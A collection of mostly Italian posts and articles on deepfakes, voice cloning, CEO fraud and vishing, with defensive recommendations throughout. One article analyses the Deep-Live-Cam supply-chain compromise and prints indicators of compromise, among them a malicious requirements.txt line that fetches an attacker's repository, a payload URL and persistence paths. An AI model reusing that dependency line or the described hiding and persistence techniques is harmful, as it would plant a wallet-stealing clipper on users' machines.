#deepfake

Una voce si può registrare come un marchio, esattamente come un logo o uno slogan.
Giorgia Meloni lo ha appena fatto: un audio di 4 secondi, depositato all’ufficio europeo dei marchi, con su impresso “Io sono Giorgia Meloni”.
E tutto per difendersi dai deepfake realizzati con l’intelligenza artificiale.

Sabato 10 ottobre, alle ore 17.00 su @mediasettgcom24@bird.makeup , ne parlo a “Intelligenze Artificiali” con Lucia Maggi, avvocato, partner di 42 Law Firm, esperta di diritto d’autore e di proprietà intellettuale, che ha seguito di persona il deposito della voce di diversi cantanti come marchio.

Che cosa ottiene in più chi registra la propria voce?
Che limiti ha, a questo punto, la parodia?
E cosa cambia per tutti noi, che una voce ce l’abbiamo e basta?

#IntelligenzeArtificiali #TgCom24 #IntelligenzaArtificiale #DirittoDAutore #DeepFake

Read Time:3 Minute, 40 Second

Microsoft is preparing to give Teams the ability to flag meetings where audio or video may have been artificially generated or manipulated, a direct response to the growing use of deepfakes in social-engineering attacks. The capability, tracked on the Microsoft 365 roadmap under ID 573451, is currently listed as in development, with rollout for Desktop, Mac, and Web clients in the Worldwide Standard Multi-Tenant cloud expected to begin in November 2026.

How the Detection Actually WorksThe most important detail buried in the roadmap entry is that Teams itself won’t be the one analyzing meeting media for signs of manipulation. Instead, Microsoft is building an integration layer that connects Teams to certified third-party detection providers. Those outside vendors will examine the audio and video streams during a call, look for the telltale artifacts of synthetic generation or alteration, and send a detection signal back into Teams, which then surfaces that result to meeting participants or administrators.

In effect, Microsoft is positioning Teams as the delivery and display layer for a capability it doesn’t build or run itself. The roadmap entry doesn’t yet specify which third-party vendors will be certified, what the in-meeting warning will look like, how much it might cost organizations, or how detection accuracy holds up against increasingly capable generative tools. The rollout will proceed through Microsoft’s standard Targeted Release phase before reaching General Availability, and the November date marks only the start of that staged release — not a guarantee that every tenant will have the feature on day one.

A Response to Real Attacks Already HappeningThis isn’t a defensive feature built for a hypothetical threat. Cybersecurity News has previously reported on active deepfake phishing campaigns that specifically abuse video conferencing platforms, including Teams and Zoom, to target cryptocurrency holders. In one documented pattern, victims received a meeting invitation through Telegram and then saw what appeared to be a familiar, trusted contact on the call — generated in real time using AI video synthesis. Partway through the conversation, the “contact” would claim there was an audio glitch and ask the victim to install a plugin or update to fix it. That request was the actual payload: the download was malware designed to drain cryptocurrency wallets, steal credentials, and hijack Telegram accounts.

What makes this style of attack effective is that it doesn’t require exploiting any flaw in the conferencing software at all — it exploits trust in a familiar face and voice, which is precisely the gap synthetic media detection is meant to narrow.

Part of a Broader Push on Meeting IntegritySynthetic media detection is only one piece of what Microsoft is building out for meeting security. The company is separately developing a meeting impersonation protection feature, which focuses on flagging suspicious organizers or participants rather than manipulated audio or video directly — surfacing warnings and risk indicators when something about a participant’s identity looks off. Taken together, the two protections target related but distinct angles of meeting-based social engineering: one watches the media itself, the other watches the people attached to it.

What This Means for Security TeamsOrganizations should treat the upcoming capability as an additional signal rather than a guarantee of authenticity. Even once rolled out, a “no manipulation detected” result won’t be definitive proof a call is legitimate, and a flagged result won’t necessarily mean an attack is underway — detection systems for synthetic media are still an active area of research with real false-positive and false-negative rates. Security teams preparing for the rollout should consider the following in the meantime:

Continue training staff that any in-call request to install software, share credentials, or approve a payment needs independent, out-of-band verification — regardless of how convincing the caller appears.

Watch for vendor and licensing details as Microsoft’s Targeted Release phase approaches, since certified third-party providers will need to be selected and possibly licensed separately.

Evaluate how detection signals will be surfaced to end users versus administrators, since an alert during a live call needs a clear, low-friction response path to be useful.

Pair this feature with existing impersonation and identity-verification controls rather than relying on it in isolation.

As deepfake-enabled fraud continues to scale, platform-level detection features like this one represent a meaningful step forward — but they arrive as one layer in a defense that still depends heavily on skepticism, verification habits, and user awareness.

Ci sono voci che l'intelligenza artificiale si rifiuta di clonare.
Quella di Giorgia Meloni è una di queste.
Ci ho provato con ElevenLabs e mi ha bloccato.

Meloni ha appena depositato la domanda per registrare la sua voce come marchio sonoro. Chi la clona per le truffe resta anonimo, magari all'estero, e una diffida non lo spaventa. Il marchio però colpisce chi sta in mezzo, cioè chi vende le voci sintetiche e chi ospita i video.

Guarda il video completo su #CiaoInternet

#deepfake #intelligenzaartificiale #GiorgiaMeloni

"Io sono Giorgia Meloni."
Questo è il file audio di pochi secondi per cui è stata presentata all'EUIPO una domanda di registrazione come marchio sonoro.
👉 https://www.youtube.com/watch?v=bLkVcpGa2YQ

Una mossa decisamente operativa.
Infatti, anche se il reato per i deepfake esiste già, il falsario è quasi sempre anonimo, usa account usa e getta e magari sta all'estero.
Il marchio agisce invece su chi sta in mezzo.
Protegge dall'uso nel commercio e nella pubblicità, non tanto dalla satira o dal meme, ed è esattamente il perimetro delle inserzioni in cui una voce clonata vende finti investimenti.

In più, con il Digital Services Act (DSA) e i meccanismi di notice-and-action, una segnalazione basata su un diritto di marchio è più "meccanica" per le piattaforme: non richiede valutazioni complesse come diffamazione o contesto giornalistico, e facilita rimozioni rapide e scalabili.

Lo stesso vale per i servizi di sintesi vocale, che tengono liste di voci vietate e possono bloccare la clonazione a monte.

Insomma, non risolve tutto, i sistemi che si scaricano restano fuori, ma riduce la superficie d'attacco.
Ne parliamo oggi a Ciao Internet!

#Meloni #deepfake #AI #EUIPO

IA e deepfake, Salvini registra la frase “Quando si mangia?”

@attualita@diggita.com

https://www.lercio.it/ia-e-deepfake-salvini-registra-la-frase-quando-si-mangia/

#Lercio #Satira #Politica #Deepfake #AI #IntelligenzaArtificiale #Salvini #MatteoSalvini #Lega #GovernoMeloni

IA e deepfake, Salvini registra la frase “Quando si mangia?”

@attualita@diggita.com

https://www.lercio.it/ia-e-deepfake-salvini-registra-la-frase-quando-si-mangia/

#Lercio #Satira #Politica #AI #IntelligenzaArtificiale #Deepfake #Salvini #MatteoSalvini #Lega #GovernoMeloni

Il dibattito si estende all’#AI che per addestrare i propri modelli utilizza grandi quantità di libri, talvolta digitalizzati e poi distrutti, sollevando questioni di #copyright e tutela del patrimonio culturale. Infine, l’etichetta “generato con #AI” non è sufficiente a contrastare disinformazione e #deepfake: restano decisive la verifica delle fonti, l’analisi del contesto e la consapevolezza degli utenti.

(2/2)

@informatica@feddit.it

https://bit.ly/3VmEhI5

Si parla di:

Toggle

Un messaggio #WhatsApp che sembra arrivare dal capo. Una telefonata di conferma con la voce, riconoscibilissima, di un legale di fiducia. Bastano questi due elementi — nessun #malware, nessun #exploit, nessuna vulnerabilità da patchare — per far sparire 95 milioni di euro dai #conti di Fideuram, la divisione di private #banking di Intesa Sanpaolo. È una delle #frodi con voice cloning AI più costose mai documentate contro un istituto finanziario europeo, e il modo in cui è stata condotta dice più cose sul futuro del social engineering di dieci #report su #ChatGPT.

La dinamica: un BEC “potenziato” dall’AISecondo la ricostruzione emersa da fonti vicine all’inchiesta e riportata da Reuters, la truffa è iniziata a febbraio 2026. L’allora presidente di Fideuram, Paolo Molesini, ha ricevuto un messaggio WhatsApp che sembrava provenire dal CEO di Intesa Sanpaolo, Carlo Messina, con una richiesta di assistenza urgente per una transazione estera riservata. È lo schema classico del Business Email Compromise — impersonare un dirigente di vertice per aggirare i controlli interni — solo che il canale non era la posta elettronica ma una chat istantanea, già di per sé più informale e meno sottoposta a filtri di sicurezza aziendali.

In questo scenario ha influito molto sicuramente la capacità di voler evitare i controlli Consob su un’operazione finanziaria, evidentemente modus operandi praticato, che di fatto non è un buon modo di pensare. Così come la riservatezza dell’operazione. Guarda caso proprio nel momento in cui qualcuno della catena, ha avuto il coraggio di tradire questa “riservatezza”, chiamando gli interessati ai contatti noti, si è immediatamente scoperta l’azione criminale.

Il salto di qualità rispetto al BEC tradizionale arriva nel passaggio successivo. A confermare l’autenticità della richiesta è intervenuta una telefonata da quello che sembrava un avvocato senior di uno studio legale di primo piano: gli autori della frode avevano ricreato la voce del legale tramite intelligenza artificiale, rendendo la chiamata sufficientemente convincente da spingere Molesini a istruire il dipartimento finanze a eseguire i bonifici. Il voice cloning, qui, non è servito a impersonare la vittima ma a far superare alla vittima stessa un secondo livello di verifica — un dettaglio che dovrebbe far riflettere chiunque basi ancora le proprie procedure anti-frode sulla “voce riconoscibile” come fattore di autenticazione informale.

I 95 milioni di euro sono stati incanalati principalmente verso conti in Cina e Hong Kong. Fideuram ha rilevato le irregolarità relativamente in fretta, allertando banche e autorità in più paesi; la cooperazione tra investigatori italiani, cinesi e portoghesi ha permesso di recuperare circa 53 milioni di euro, mentre 36 milioni risultano ancora dispersi, in parte già convertiti in criptovalute — la solita ultima tappa di riciclaggio che rende il tracciamento sensibilmente più difficile. Un cittadino straniero residente fuori dall’Unione Europea risulta indagato per frode informatica; nessun dirigente di Fideuram è sotto inchiesta. Molesini si è dimesso a marzo, ufficialmente per “ragioni personali” — la banca e Intesa Sanpaolo hanno declinato di commentare nel merito con Reuters.

Non è un caso isolatoIl caso Fideuram si inserisce in un trend che nel 2026 sta diventando strutturale piuttosto che aneddotico. In Italia lo scorso anno un caso analogo aveva coinvolto l’imprenditore Massimo Moratti, indotto tramite una voce AI che imitava un ministro italiano a disporre un trasferimento di circa un milione di euro, poi recuperato. A livello internazionale, dal caso Arup di Hong Kong (2024, 25 milioni di dollari sottratti con una videochiamata deepfake multi-partecipante) in avanti, gli attacchi CEO fraud potenziati da sintesi vocale e video generativa si sono moltiplicati, spostando il baricentro della minaccia dal “clic sbagliato” alla fiducia riposta in un canale di comunicazione che fino a poco tempo fa era considerato inattaccabile: sentire la voce di una persona che si conosce.

Il punto tecnico da cogliere è che questi attacchi non hanno bisogno di violare nessun sistema. Non compaiono in nessun SIEM, non generano alert su nessun endpoint. Sfruttano dati biometrici vocali spesso pubblicamente disponibili — interviste, conferenze, video aziendali, contenuti social — per addestrare modelli di voice cloning che oggi richiedono pochi secondi di audio sorgente e strumenti facilmente reperibili. La superficie di attacco, in altre parole, non è il perimetro IT ma la reputazione pubblica dei dirigenti: più un top manager è mediaticamente esposto, più materiale vocale è disponibile per clonarlo.

Due righe per i difensoriPer i team di sicurezza e compliance, il caso Fideuram è un promemoria che i controlli anti-frode pensati per l’email non traslano automaticamente su WhatsApp, Telegram o altre chat, e che la “conferma vocale” non può più essere considerata un secondo fattore affidabile quando la richiesta riguarda un trasferimento di fondi fuori standard. Alcune contromisure concrete che le organizzazioni finanziarie dovrebbero già avere in produzione:

Vietare l’autorizzazione di bonifici straordinari sulla sola base di messaggistica istantanea o chiamate vocali, imponendo sempre un secondo canale di verifica indipendente e pre-registrato (callback su numero noto in rubrica aziendale, non su numero fornito nel messaggio sospetto).

Introdurre una parola d’ordine o passphrase condivisa fuori banda per le richieste finanziarie urgenti provenienti da dirigenti, da rinnovare periodicamente.

Applicare limiti di importo e “cooling off period” obbligatori per bonifici verso giurisdizioni ad alto rischio, indipendentemente dal livello gerarchico di chi autorizza.

Formare specificamente i ruoli finanziari e di vertice sul rischio di voice cloning e deepfake, con simulazioni realistiche (non solo phishing via email).

Limitare la disponibilità pubblica di materiale audio/video ad alta qualità dei dirigenti più esposti, dove ragionevolmente possibile, e monitorare la superficie OSINT associata.

Predisporre playbook di risposta rapida con le banche corrispondenti per il blocco/richiamo dei bonifici SWIFT in caso di sospetto, sul modello di quanto messo in atto — con successo parziale — da Fideuram stessa.

Il recupero di oltre metà della somma sottratta dimostra che una risposta rapida e una buona cooperazione internazionale tra autorità possono limitare i danni. Ma affidarsi alla velocità di reazione dopo il fatto, quando l’attacco costa zero exploit e sfrutta solo la fiducia interpersonale, significa accettare che la prossima vittima — banca, azienda o studio professionale — sarà scelta semplicemente in base a quanto materiale vocale dei suoi dirigenti è disponibile online.

Un WhatsApp, una telefonata e una truffa da 95 milioni di euro.
👉 https://www.youtube.com/watch?v=942zigH4wMk

Secondo le ricostruzioni giornalistiche, un messaggio che sembrava di Carlo Messina, una chiamata con la voce clonata di un avvocato conosciuto e documenti apparentemente in regola sono bastati per far partire da Fideuram 11 bonifici verso conti esteri.

Nessun sistema è stato bucato, l'attacco ha colpito la catena fiduciaria imitando le persone che sbloccano le urgenze, e con l'AI questo tipo di truffa diventa facile da replicare. Per questo l'alfabetizzazione antifrode serve soprattutto ai vertici, dove le procedure si saltano più facilmente.

Di tutto questo e delle contromisure da adottare ne parliamo oggi su Ciao Internet

#Deepfake #CEOFraud #techpolicy #Cybersecurity #Fideuram

Si parla di:

Toggle

Quattrocentotrentaquattro spazi vuoti. È lì che un attaccante ha nascosto, in un singolo file setup.py, il codice capace di trasformare uno dei tool di #deepfake più popolari di #GitHub in un ladro di #criptovalute silenzioso. Deep-Live-Cam, applicazione open source per il face-swap in tempo reale con oltre 96.600 stelle, è rimasta compromessa per nove ore e trentanove minuti l’8 e il 9 settembre 2026. Bastano per infettare un numero di macchine impossibile da quantificare con certezza — ed è proprio questa incertezza, più che la tecnica in sé, il vero problema per chi deve valutare il danno.

Una finestra di nove ore, aperta da un account compromessoLa ricostruzione pubblicata dai ricercatori di SafeDep, specializzati in #sicurezza della supply chain open source, è quasi cronometrica. Il 5 settembre l’attaccante crea su GitHub un account chiamato pypls e vi pubblica un repository denominato semplicemente requests — un tentativo di confusione visiva con la libreria Python omonima, tra le più scaricate al mondo. Tre giorni dopo, l’8 settembre alle 15:58:54 UTC, un commit (hash 7895c547) viene pushato direttamente sul branch principale di Deep-Live-Cam, modificando diciotto voci del file requirements.txt. La riga chiave è questa:

requests @ git+https://github.com/pypls/requests.gitCon una sola riga, ogni installazione del progetto smette di scaricare la libreria Requests originale e inizia a clonare il repository dell’attaccante, mantenendo però metadati ingannevoli che rimandano al progetto legittimo. La scoperta arriva rapidamente: alle 01:26:18 UTC del 9 settembre un ricercatore della community, identificato come fred-cardoso, segnala la dipendenza sospetta. Il maintainer reagisce in fretta, revertendo la modifica con il commit 55d306d5 alle 01:37:35 e, due minuti dopo, annunciando pubblicamente di aver rilevato “accessi anomali all’account nonostante l’autenticazione a due fattori attiva” e di aver ruotato credenziali e chiavi.

Il vettore di accesso iniziale resta un punto oscuro: il commit non è firmato, e questo impedisce di stabilire se l’attaccante disponesse di un #token rubato, di una chiave #SSH compromessa o di una sessione dirottata. Il solo dato certo è che il #2FA, da solo, non ha bastato a fermare l’attacco.

L’arte di nascondere codice: spazi e ideogrammiLa parte più istruttiva dell’attacco, dal punto di vista tecnico, riguarda il modo in cui il payload malevolo è stato occultato dentro il finto pacchetto requests. Nel file setup.py, subito dopo l’#istruzione import sys, l’attaccante ha inserito 434 caratteri di spazio consecutivi sulla stessa riga, spingendo il codice realmente eseguito ben oltre il margine di visibilità di qualsiasi editor o strumento di revisione standard. Chi avesse aperto il file con un normale visualizzatore avrebbe visto solo righe vuote.

A questo si aggiunge un secondo livello di offuscamento: variabili con nomi in caratteri cinesi e giapponesi (tra gli esempi documentati da SafeDep, sequenze come “一時1”, “シード5”, “队列102”), scelte non tanto per nascondere il significato quanto per aumentare il rumore visivo e ostacolare l’analisi statica automatizzata. Il codice effettivo, decodificato da Base64 e decompresso con zlib, veniva eseguito durante la fase di build di pip — quindi prima ancora che l’installazione di Deep-Live-Cam si completasse, e indipendentemente dal fatto che l’utente avviasse mai l’applicazione.

Il payload: un clipper multipiattaforma “a norma”Una volta eseguito, il payload installava un classico clipboard hijacker per criptovalute, ma implementato con una cura tecnica superiore alla media. Il malware monitorava gli appunti di sistema ogni 0,3 secondi, applicando espressioni regolari per riconoscere indirizzi di wallet e — dettaglio non scontato — validandoli correttamente prima della sostituzione: Base58Check per Bitcoin e Tron, Bech32/Bech32m per gli indirizzi SegWit nativi di Bitcoin, checksum Keccak-256 conformi allo standard EIP-55 per Ethereum, e la validazione Base58 a 32 byte per Solana. Un livello di attenzione che riduce drasticamente il rischio di sostituzioni fallite o rilevabili a colpo d’occhio dalla vittima.

Gli indirizzi degli attaccanti individuati da SafeDep coprono tutte le principali reti: due indirizzi Bitcoin legacy, uno SegWit e uno Taproot, un indirizzo Ethereum, uno Tron e uno Solana — una diversificazione che suggerisce un operatore abituato a monetizzare su più chain contemporaneamente.

Per sopravvivere ai riavvii, il malware si comportava in modo diverso a seconda del sistema operativo. Su Windows scriveva una voce SysHelper nella chiave di registro HKCU\Software\Microsoft\Windows\CurrentVersion\Run, puntando a uno script in %LOCALAPPDATA%\WindowsHelper\sys.pyw eseguito preferibilmente con pythonw.exe per restare invisibile senza finestra di console. Su macOS creava invece un LaunchAgent (com.user.syshelper.plist) con RunAtLoad e KeepAlive attivi, puntando a ~/Library/Application Support/HowToFind/sys.py.

Una finestra che nessun revert può richiudere del tuttoQui sta il nodo più scomodo della vicenda: il revert del commit malevolo ha rimosso la dipendenza avvelenata dal codice sorgente, ma non ha eliminato nulla dai sistemi già compromessi durante le nove ore e trentanove minuti di esposizione. Chi ha installato o aggiornato Deep-Live-Cam in quella finestra temporale continua, con ogni probabilità, ad avere il clipper attivo in background, in attesa che l’ambiente Python venga reinstallato o che qualcuno individui manualmente le chiavi di persistenza. SafeDep è stata chiara su questo punto: l’analisi ricostruisce con certezza il funzionamento e le capacità del malware, non il numero di macchine effettivamente infettate né le perdite economiche reali — un limite intrinseco di qualsiasi indagine forense che parte da codice statico e non da telemetria delle vittime.

Con quasi 100.000 stelle su GitHub, Deep-Live-Cam gode di una base di installazioni potenzialmente enorme, spesso su macchine di utenti singoli, creator o piccoli studi che difficilmente dispongono di strumenti di monitoraggio EDR paragonabili a quelli di un ambiente enterprise — il bersaglio ideale per un attacco pensato per restare silenzioso il più a lungo possibile.

Cosa insegna ai difensori (e ai maintainer)Le dipendenze git+https:// dentro requirements.txt meritano lo stesso livello di sospetto di un binario scaricato da fonte sconosciuta: bypassano i controlli di integrità tipici di PyPI e permettono a chiunque abbia scritto quella riga di sostituire silenziosamente un pacchetto fidato.

Il 2FA classico non è sufficiente a proteggere account maintainer con questo livello di visibilità: servono chiavi hardware o passkey resistenti al phishing, oltre a policy che impediscano push diretti su branch principali senza review, anche per chi ha permessi di amministratore.

Gli scanner di sicurezza per il codice dovrebbero segnalare automaticamente righe anomale per lunghezza (whitespace injection) e la presenza massiva di identificatori non-ASCII in file critici come setup.py, entrambi pattern a basso costo di rilevamento e alto valore predittivo.

Chi ha installato o aggiornato Deep-Live-Cam tra l’8 e il 9 settembre 2026 dovrebbe considerare il proprio sistema potenzialmente compromesso, verificare la presenza delle chiavi di persistenza indicate negli IoC e ruotare eventuali wallet le cui transazioni sono transitate dagli appunti di sistema in quel periodo.

Indicatori di compromissione[Timeline UTC]
2026-09-05 Creazione account GitHub "pypls" e repo fake "requests"
2026-09-08 15:58:54 Commit malevolo 7895c547 su Deep-Live-Cam (main branch)
2026-09-09 01:26:18 Segnalazione community (fred-cardoso)
2026-09-09 01:37:35 Revert (commit 55d306d5)
2026-09-09 01:39:12 Annuncio maintainer: account compromesso, rotazione credenziali

[Repository e dipendenza malevola]
Repo fake: github.com/pypls/requests
Riga requirements.txt: requests @ git+https://github.com/pypls/requests.git
Delivery payload: graph.org/coding-utf-8-09-05-2
Beacon/contatore: abacus.jasoncameron.dev/hit/duff.com/info

[Hash SHA-256]
setup.py malevolo: b34818f9208133c2fd2d0814162c6f3c59e35df518e3c95f998890f7e4a5e6f4
Payload clipper decodificato: 73cb3c0e9afd9db32a392655ff58be5cc95b24fbc0f412202853dc0161dd0561

[Wallet degli attaccanti]
BTC (legacy): 1LeCcPytFxpeo6Leujc4USuCwec9oDFa92
BTC (legacy): 3LKB1j9zgmSdaNWy3iLCiHVaV6b1qpLRXB
BTC (SegWit): bc1q42m55rrtzjzf05dhp4az02lqqkpjemjddwwht3
BTC (Taproot): bc1p68qmln48g90mpv6ukrmmhvp64qvx4evgu0h5s9mf6ljwp0n6ahnswhnpa6
ETH: 0x58d28b72c54A5b645201900c8aA8550ad7f7d90b
TRON: TDfqUBRSnXcEeLWSGHKSWPAhRSySqEiykQ
SOL: 6ig8v2AAvVQh4qK5JBS9ZTSWRjCKTHhEq4SMV8oqWfmu

[Persistenza]
Windows: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper
-> %LOCALAPPDATA%\WindowsHelper\sys.pyw
macOS: ~/Library/LaunchAgents/com.user.syshelper.plist
-> ~/Library/Application Support/HowToFind/sys.pyFonte principale: analisi tecnica SafeDep sulla compromissione della supply chain di Deep-Live-Cam.

La storia di Emily Hart, l’influencer virtuale creata per intercettare la nicchia MAGA…

👉 Video completo su Youtube!
🔗 https://youtu.be/BiZDHxBUOjc?si=TytKXiF1WbxnRir0

#emilyhart #techpolicy #ai #deepfake

🇺🇸 Un quarantenne in Texas scorre Instagram e si ferma su "Emily Hart": bionda, divisa da infermiera, bio patriottica, storie iper-conservatrici, slogan perfetti per dargli ragione.
👉 https://www.youtube.com/watch?v=BiZDHxBUOjc

Cuoricini e DM, poi piccoli pagamenti su Fanvue per foto piccanti.

Sembra una storia di solitudine online, ma il colpo di scena è tecnico e culturale: Emily Hart non è mai esistita, ogni pixel è generato da un'AI.

Dietro c'è "Sam", un 22enne nel nord dell'India, che ha raccontato a Wired di aver ottimizzato il profilo come un prodotto. Ha chiesto a Gemini quale nicchia rendesse di più, e il chatbot gli ha indicato il pubblico conservatore USA, più fedele e con più capacità di spesa. Da lì ha costruito il personaggio e ha cominciato a monetizzare con contenuti sintetici.

La frode è evidente, ma la lezione è più ampia: non si compra una persona, si compra un pacchetto di segni, fatto di identità, appartenenza, conferma. Quando l'influencer dice esattamente ciò che pensate e non cambia mai idea, la domanda non è solo se sia un deepfake ma se ci sia un convincimento reale o sia solo un modello di business.

Ne parlo oggi, nel nuovo episodio di Ciao Internet

#IntelligenzaArtificiale #Deepfake #techpolicy #SocialMedia #AI

Si parla di:

Toggle

Il 5 agosto una campagna coordinata di #vishing potenziato da sistemi LLM ha colpito in un solo giorno quattro dei fondi speculativi più blindati di Wall Street: Citadel, Point72, Two Sigma e Millennium Management, oltre ad alcune società di private equity rimaste anonime. Voci clonate di dirigenti ed executive hanno telefonato a dipendenti selezionati chiedendo credenziali e accessi ai sistemi interni. Non è la tecnica a essere nuova — il voice cloning in tempo reale è disponibile ai criminali informatici da anni — è la scelta dei bersagli a segnare un punto di svolta: quando conviene economicamente attaccare simultaneamente le difese più sofisticate del settore finanziario, significa che il costo dell’attacco è crollato più velocemente della capacità difensiva della maggior parte delle aziende.

Cosa è successo il 5 agostoSecondo quanto riportato da InvestmentNews e ripreso da Bloomberg, gli attaccanti hanno usato tecnologia di sintesi vocale per replicare tono, cadenza e fraseggio di executive e colleghi fidati, tentando di convincere i dipendenti a cedere credenziali o concedere accesso alle reti interne. Two Sigma, che gestisce circa 75 miliardi di dollari di asset, ha dichiarato di aver rilevato e bloccato il tentativo prima che causasse danni: “Il nostro team di #sicurezza ha risposto rapidamente a una campagna di vishing rivolta a Two Sigma e ad altri gestori di investimenti, e non abbiamo riscontrato alcun impatto sui nostri dati o sistemi.” Point72 ha informato i propri investitori dell’attacco, precisando che una prima revisione non ha rilevato furti di dati dei clienti, mentre le indagini proseguono. Citadel e Millennium Management non hanno commentato se le loro difese abbiano retto, lasciando aperta la domanda su cosa sia realmente accaduto dietro le quinte.

Perché colpire proprio gli hedge fundVinod Paul, presidente di Align Managed Services (società di #cybersecurity specializzata in clienti hedge fund), ha sintetizzato il cambiamento in termini puramente economici: “Prima potevano attaccare 50 entità in un attacco mirato, ora possono farne 1.000.” È la logica di scala che ha reso conveniente includere anche i bersagli più difficili in una campagna che, tanto, costa quasi nulla anche quando fallisce su centinaia di target minori. Anche un solo successo contro un’istituzione delle dimensioni di Citadel giustifica l’intero investimento operativo.

Ma c’è una ragione strutturale, non solo economica, per cui gli hedge fund sono bersagli particolarmente vulnerabili al vishing basato su sistemi computazionali LLM: la cultura organizzativa di queste aziende è costruita attorno a decisioni rapide e guidate dall’autorità gerarchica. In ambienti di trading ad alta frequenza, la velocità ha un valore economico diretto, e i dipendenti sono addestrati a eseguire le istruzioni di un dirigente senza attrito procedurale eccessivo. È esattamente questa deferenza operativa — l’istinto di agire subito quando chiama una voce riconosciuta come autorevole — la leva psicologica che il vishing basato su sistemi LLM sfrutta. Un clone vocale non deve essere perfetto: deve solo generare fiducia sufficiente a sospendere lo scetticismo normale.

Non un episodio isolato: il precedente UNC3753 / Luna MothLa campagna del 5 agosto non nasce nel vuoto. A giugno 2026 #Mandiant (#Google) aveva documentato una campagna di vishing sostenuta condotta dal cluster di minaccia UNC3753 — tracciato anche come Luna Moth o Silent #Ransom Group — contro decine di studi legali, società di servizi professionali e istituzioni finanziarie tra gennaio e maggio 2026. Quella campagna spingeva oltre la semplice telefonata: in alcuni casi gli attaccanti si sono presentati fisicamente negli uffici delle vittime spacciandosi per personale IT di supporto, un ibrido di ingegneria sociale digitale e fisica che, secondo le fonti, non risulta replicato nell’attacco del 5 agosto contro gli hedge fund. Resta però il segnale di una tendenza: gruppi come Luna Moth hanno costruito un intero modello operativo attorno all’impersonificazione vocale e all’inganno diretto del personale, senza bisogno di esche di phishing tradizionali o #malware da distribuire.

Il precedente da 25,6 milioni di dollariIl caso che ha reso il settore consapevole della portata del rischio risale al 2024: un dipendente finanziario della filiale di Hong Kong di Arup, multinazionale di ingegneria, fu convinto a trasferire circa 25,6 milioni di dollari in più tranche dopo aver partecipato a una videoconferenza in cui ogni altro partecipante — incluso il presunto CFO dell’azienda — era in realtà un deepfake generato con sistemi LLM. Quell’episodio resta il punto di riferimento per capire fin dove può spingersi un attacco di impersonificione sintetica quando la vittima non ha protocolli di verifica indipendenti dal canale stesso su cui arriva la richiesta.

FINRA Fusion Center: il primo vero collaudoL’attacco del 5 agosto ha attivato per la prima volta in scenario reale il Financial Intelligence Fusion Center di FINRA, il portale di condivisione di threat intelligence quasi in tempo reale lanciato il 31 marzo 2026 nell’ambito dell’iniziativa “FINRA Forward”. Il regolatore non ha commentato pubblicamente i dettagli dell’incidente specifico, ma la sua attivazione rappresenta il primo test operativo documentato della piattaforma contro un attacco coordinato e in corso sul settore che è chiamata a proteggere. Il valore di uno strumento come questo sta nell’effetto rete: un attacco simultaneo contro più aziende genera intelligence collettiva che nessuna singola firma potrebbe produrre da sola.

Sullo sfondo normativo pesano anche gli emendamenti SEC del 2024 al Regulation S-P (la “Safeguards Rule”), che impongono a tutti i consulenti di investimento registrati SEC di mantenere programmi scritti di risposta agli incidenti e di notificare i clienti coinvolti entro 30 giorni da una violazione confermata. La SEC ha inserito la conformità a Regulation S-P tra le priorità di verifica per l’anno fiscale 2026, dopo aver già sanzionato per 325.000 dollari una società di consulenza per la mancanza di un programma scritto di sicurezza informatica in seguito a un incidente di account takeover via email.

La difesa che funziona: verifica fuori bandaGli esperti del settore convergono su un’unica raccomandazione concreta: la verifica out-of-band. Quando arriva una chiamata che richiede un’azione sensibile — trasferimento di credenziali, autorizzazione di accesso a un sistema, disposizione di un bonifico — il dipendente deve riagganciare e ricontattare in modo indipendente l’interlocutore su un canale separato e già verificato in precedenza, richiedendo un’autenticazione che un clone vocale non può replicare in tempo reale.

Adottare parole d’ordine concordate privatamente in anticipo, mai pronunciate in canali registrabili o accessibili pubblicamente, da richiedere prima di qualunque azione ad alto rischio.

Imporre protocolli di callback su un numero verificato indipendentemente, non su quello fornito dal chiamante.

Applicare la policy in modo universale: un dirigente che aggira le proprie procedure di verifica per comodità crea la falla che gli attaccanti sfruttano.

Integrare la formazione del personale con simulazioni realistiche di vishing basato su sistemi computazionali, non solo con esercitazioni di phishing via email.

Valutare l’adesione a piattaforme di condivisione di threat intelligence settoriali (in Italia, ad esempio, i CERT di settore e i framework di information sharing bancari e finanziari) per ricevere IoC e pattern di attacco in tempo utile.

Come ha osservato Charles Failla, CEO di Sovereign Financial Group, “una sicurezza scadente è comunque scomoda — è solo scomoda tutta insieme, più avanti.” La frizione di un callback di trenta secondi è enormemente più economica del costo di un bonifico fraudolento da otto cifre. Per i responsabili sicurezza italiani che seguono realtà finanziarie o gestiscono clienti enterprise con forte cultura gerarchica, il caso Wall Street è un promemoria diretto: la protezione contro il vishing basato su sistemi computazionali non è (più) un problema tecnologico da delegare al perimetro, ma un problema di processo organizzativo da imporre dall’alto, inclusi i dirigenti stessi.